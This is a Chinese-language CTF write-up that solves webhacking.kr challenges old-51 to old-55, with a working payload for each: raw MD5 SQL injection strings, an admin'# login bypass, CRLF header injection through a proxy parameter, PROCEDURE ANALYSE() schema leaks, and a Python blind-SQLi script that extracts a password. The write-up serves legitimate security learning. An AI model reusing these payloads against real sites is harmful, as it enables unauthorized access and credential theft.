Albert Huang
MED student | CS enthusiast
old-51
本題考點:Raw MD5 SQL injection
是個登入頁面,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 51 </title> <style> table{ color:lightgreen;} </style> </head> <body bgcolor=black><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php if ($_POST ['id' ] && $_POST ['pw' ]){ $db = dbconnect (); $input_id = addslashes ($_POST ['id' ]); $input_pw = md5 ($_POST ['pw' ],true ); $result = mysqli_fetch_array (mysqli_query ($db ,"select id from chall51 where id='{$input_id} ' and pw='{$input_pw} '" )); if ($result ['id' ]) solve (51 ); if (!$result ['id' ]) echo "<center><font color=green><h1>Wrong</h1></font></center>" ; } ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100 > <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font color=silver> <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1 >view-source</a></div> </font> </form> </body> </html>
這題的問題在於第 19 行:
1 $input_pw = md5 ($_POST ['pw' ],true );
它給了一個 true 的參數,表示他會將 hash 表示為 \x00 形式的 raw bytes 輸出,因此如果裡面有一些特殊字元,例如 #、' 等,就有可能繞過 SQL expression,稱為 Raw MD5 SQL injection。
可以參考這個範例:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md#raw-md5-and-sha1
因此我們的 payload 可以是:
ffifdyop:'or'6�]��!r,��b
129581926211651571912466741651878684928:ÚT0D��o#ßÁ'or'8
小補充: SQL 會把數字開頭的字串轉變成那個數字,所以 ffifdyop 的案例就是 6
加入表達式後如下:
1 2 3 * ffifdyop select id from chall51 where id='admin' and pw=''or'6�]��!r,��b' = select id from chall51 where id='admin' and pw=''or6
登入即可過關。
old-52
本題考點:Basic SQLi、CRLF Injection / SSRF、Session Persistence over Proxy
這題給了一些提示:
1 2 3 Your mission is to access admin page guest account is guest / guest here is proxy just for fun
直接到 admin page 會需要登入,失敗後會顯示 Login Fail 並可以看 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php include "config.php" ;if ($_GET ['view_source' ]) view_source ();if ($_GET ['logout' ] == 1 ){ $_SESSION ['login' ]="" ; exit ("<script>location.href='./';</script>" ); } if ($_SESSION ['login' ]){ echo "hi {$_SESSION['login']} <br>" ; if ($_SESSION ['login' ] == "admin" ){ if (preg_match ("/^172\.17\.0\./" ,$_SERVER ['REMOTE_ADDR' ])) echo $flag ; else echo "Only access from virtual IP address" ; } else echo "You are not admin" ; echo "<br><a href=./?logout=1>[logout]</a>" ; exit ; } if (!$_SESSION ['login' ]){ if (preg_match ("/logout=1/" ,$_SERVER ['HTTP_REFERER' ])){ header ('WWW-Authenticate: Basic realm="Protected Area"' ); header ('HTTP/1.0 401 Unauthorized' ); } if ($_SERVER ['PHP_AUTH_USER' ]){ $id = $_SERVER ['PHP_AUTH_USER' ]; $pw = $_SERVER ['PHP_AUTH_PW' ]; $pw = md5 ($pw ); $db = dbconnect (); $query = "select id from member where id='{$id} ' and pw='{$pw} '" ; $result = mysqli_fetch_array (mysqli_query ($db ,$query )); if ($result ['id' ]){ $_SESSION ['login' ] = $result ['id' ]; exit ("<script>location.href='./';</script>" ); } } if (!$_SESSION ['login' ]){ header ('WWW-Authenticate: Basic realm="Protected Area"' ); header ('HTTP/1.0 401 Unauthorized' ); echo "Login Fail" ; } } ?> <hr><a href=./?view_source=1 >view-source</a>
在第 28 行登入的地方存在一個 SQL injection:
1 2 3 4 5 $id = $_SERVER ['PHP_AUTH_USER' ];$pw = $_SERVER ['PHP_AUTH_PW' ];$pw = md5 ($pw );$db = dbconnect ();$query = "select id from member where id='{$id} ' and pw='{$pw} '" ;
沒有過濾任何東西,因此直接使用 admin'# 就可以登入成為 admin。
1 2 3 hi admin Only access from virtual IP address [logout]
進入之後會發現 regex 限制了 IP 需要為 172.17.2.x 的格式。剛剛首頁還給了一個 proxy,來看看他做了什麼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 * URL:http://webhacking.kr:10008/proxy.php?page=/ Request GET / HTTP/1.1 Host: webhacking.kr:10008 Connection: Close Response HTTP/1.1 200 OK Date: Wed, 03 Jun 2026 08:32:28 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 159 Connection: close Content-Type: text/html; charset=UTF-8 Your mission is to access admin page guest account is guest / guest here is proxy just for fun
我們可控的是 page 參數,來看一下換成剛剛我們登入的 /admin/ 頁面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 URL:http://webhacking.kr:10008/proxy.php?page=/admin/ Request GET /admin/ HTTP/1.1 Host: webhacking.kr:10008 Connection: Close Response HTTP/1.0 401 Unauthorized Date: Wed, 03 Jun 2026 08:34:41 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=vbaoklbn8tk2ia4rtajmb40m9f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache WWW-Authenticate: Basic realm="Protected Area" Content-Length: 55 Connection: close Content-Type: text/html; charset=UTF-8 Login Fail view-source
它看起來沒有針對 page 進行限制,因此我們可以使用 CRLF \r\n = %0d%0a 換行來構造我們想要的 payload,而它是使用 PHP_AUTH_USER,因此登入也可以直接在標頭設定:
1 2 3 4 5 6 7 /admin/ HTTP/1.1%0d%0aAuthorization: Basic YWRtaW4nIzptM3QzMHI=%0d%0aX-Ignore: -> GET /admin/ HTTP/1.1 Authorization: Basic YWRtaW4nIzptM3QzMHI= X-Ignore: HTTP/1.1 Host: webhacking.kr:10008 Connection: Close
YWRtaW4nIzptM3QzMHI= 為 admin'#:m3t30r 的 base64 編碼,作為帳號與密碼登入,而 X-Ignore: 用來閉合多餘的 HTTP/1.1。
但它登入後馬上跳回首頁,我們來看一下 source code 是發生什麼事:
1 2 3 4 if ($result ['id' ]){ $_SESSION ['login' ] = $result ['id' ]; exit ("<script>location.href='./';</script>" ); }
原來是他登入後會馬上跳回 ./,但跳回後就沒有登入的 SESSION 了(proxy 不會給),所以登入效果沒有保留,因此我們把我們自己的 PHPSSESID 也加入到 request 裡面就可以了。
1 2 3 4 5 6 7 8 /admin/ HTTP/1.1%0d%0aAuthorization: Basic YWRtaW4nIzptM3QzMHI=%0d%0aCookie: PHPSESSID=jv4dr101pta3u5eoen8iacn1pa%0d%0aX-Ignore: -> GET /admin/ HTTP/1.1 Authorization: Basic YWRtaW4nIzptM3QzMHI= Cookie: PHPSESSID=<my_phpsessid> X-Ignore: HTTP/1.1 Host: webhacking.kr:10008 Connection: Close
因為是已經登入過的 PHPSESSID,因此把 Authorization 的部分拿掉也可以成功拿到 flag。
old-53
本題考點:SQLi without SELECT、PROCEDURE ANALYSE() before MySQL 8.0
來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html> <head> <title>Challenge 53 </title> </head> <body> <?php $db = dbconnect (); include "./tablename.php" ; if ($_GET ['answer' ] == $hidden_table ) solve (53 ); if (preg_match ("/select|by/i" ,$_GET ['val' ])) exit ("no hack" ); $result = mysqli_fetch_array (mysqli_query ($db ,"select a from $hidden_table where a={$_GET['val']} " )); echo ($result [0 ]); ?> <hr><a href=./?view_source=1 >view-source</a> </body> </html>
很明顯的我們要利用 SQL injection 找出 $hidden_table 的值,而且是會印出查詢結果的明文 SQL injection。
不過不能使用 SELECT 與 BY,因此使用 information_schema 的方法不可行,簡單查詢了一下發現了一個 SQL 專屬的用法 PROCEDURE ANALYSE():https://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html
它會分析前面 SELECT 查詢出來的資料欄位,並針對這些資料給出優化建議,但就會順便把 database 和 table_name 等等印出來了,因此可以直接使用。
1 select a from $hidden_table where a=1 PROCEDURE ANALYSE()
拿到 table_name 之後送到 answer 參數裡面即可。
old-54
這個題目頁面上很快的刷過 password 的內容,來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <script > function run ( ){ if (window .ActiveXObject ){ try { return new ActiveXObject ('Msxml2.XMLHTTP' ); } catch (e) { try { return new ActiveXObject ('Microsoft.XMLHTTP' ); } catch (e) { return null ; } } }else if (window .XMLHttpRequest ){ return new XMLHttpRequest (); }else { return null ; } } x=run (); function answer (i ){ x.open ('GET' ,'?m=' +i,false ); x.send (null ); aview.innerHTML =x.responseText ; i++; if (x.responseText ) setTimeout ("answer(" +i+")" ,20 ); if (x.responseText =="" ) aview.innerHTML ="?" ; } setTimeout ("answer(0)" ,1000 );</script >
看起來重點是在這個 answer() 的 function,並且它會用參數的方式從後台拿 answer 出來,因此我們只要記錄他的 x.responseText 就可以拿到 answer。在 console 就可以完成:
1 2 3 4 5 6 7 8 9 10 11 var ans = "" ;function answer (i ){ x.open ('GET' ,'?m=' +i,false ); x.send (null ); aview.innerHTML =x.responseText ; ans += x.responseText ; i++; if (x.responseText ) setTimeout ("answer(" +i+")" ,20 ); if (x.responseText =="" ) console .log (ans); } answer (0 );
拿到 answer 後送出 Auth 即可。
old-55
本題考點:Boolean-based SQLi、PROCEDURE ANALYSE() before MySQL 8.0、substr 函數替代
看起來是個遊戲頁面,有三個分數,還有一個 rank 的連結,點進去看看會發現最下面有一行提示:
1 mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
可以發現它有三個欄位,id、score 與 flag,每個使用者都會有這三個欄位,而它的 score 欄位有超連結,點進去可以發現我們可以操控 score 參數。而 trim 只能去掉字串前後的空格,因此可以試試看 SQL 表達式:
1 2 3 4 5 '、"、SELECT:no hack 1 or 1=1: id : jisu8110 // 895 1 or 1=2: id : Piterpan // 1
可以發現有兩種不同的 id 會在 true 或 false 出現,因此可以透過這個來進行 Blind SQL injection。
此外,因為不能用 SELECT,我們可以嘗試利用 PROCEDURE ANALYSE() 來獲得欄位資訊:
1 2 3 4 5 6 7 8 score=1 PROCEDURE ANALYSE() -> id : webhacking.chall55.id // score=1 LIMIT 1,1 PROCEDURE ANALYSE() -> id : webhacking.chall55.score // score=1 LIMIT 2,1 PROCEDURE ANALYSE() id : webhacking.chall55.p4ssw0rd_1123581321 //
我們找到了 flag 的 column,而且表示他獲取的邏輯是 SELECT id, score, p4ssw0rd_1123581321 from chall55 ...,接下來只要利用 Python 來拿到 password 的值即可。但在測試途中發現不能使用 substr() 或 mid(),因此使用 left() 來替代,並且用 right() 來切出最右邊的字元。
Python 實作如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport stringdef get_length (exp ): length = 0 while True : payload = f"LENGTH(({exp} ))={length} " params = {'score' : f'1 or {payload} ' } r = requests.get('https://webhacking.kr/challenge/web-31/rank.php' , params=params) if 'jisu8110' in r.text: return length length += 1 def get_password (exp, length ): password = '' for i in range (1 , length+1 ): for char in string.printable: payload = f"RIGHT(LEFT(({exp} ),{i} ),1)={hex (ord (char))} " params = {'score' : f'1 or {payload} ' } r = requests.get('https://webhacking.kr/challenge/web-31/rank.php' , params=params) if 'jisu8110' in r.text: password += char print (password) break return password password_length = get_length('p4ssw0rd_1123581321' ) password = get_password('p4ssw0rd_1123581321' , password_length)
執行後即可拿到 flag。